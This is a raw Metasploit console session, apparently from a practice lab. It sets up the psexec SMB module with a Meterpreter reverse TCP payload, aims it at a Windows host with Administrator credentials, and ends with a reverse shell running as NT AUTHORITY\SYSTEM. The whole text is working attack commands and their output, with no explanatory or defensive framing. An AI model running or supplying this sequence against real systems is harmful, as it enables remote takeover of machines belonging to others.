msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/smb/psexec) > set LHOST 192.168.10.1 LHOST => 192.168.10.1 msf5 exploit(windows/smb/psexec) > set LPORT 7778 LPORT => 7778 msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.10.201 RHOSTS => 192.168.10.201 msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.10.201 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as
[*] Started reverse TCP handler on 192.168.10.1:7778 [*] 192.168.10.201:445 - Connecting to the server... [*] 192.168.10.201:445 - Authenticating to 192.168.10.201:445|de1ay as user 'Administrator'... [*] 192.168.10.201:445 - Selecting PowerShell target [*] 192.168.10.201:445 - Executing the payload... [+] 192.168.10.201:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779 bytes) to 192.168.10.201 [*] Meterpreter session 1 opened (192.168.10.1:7778 -> 192.168.10.201:49482) at 2020-03-10 13:54:44 +0800
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM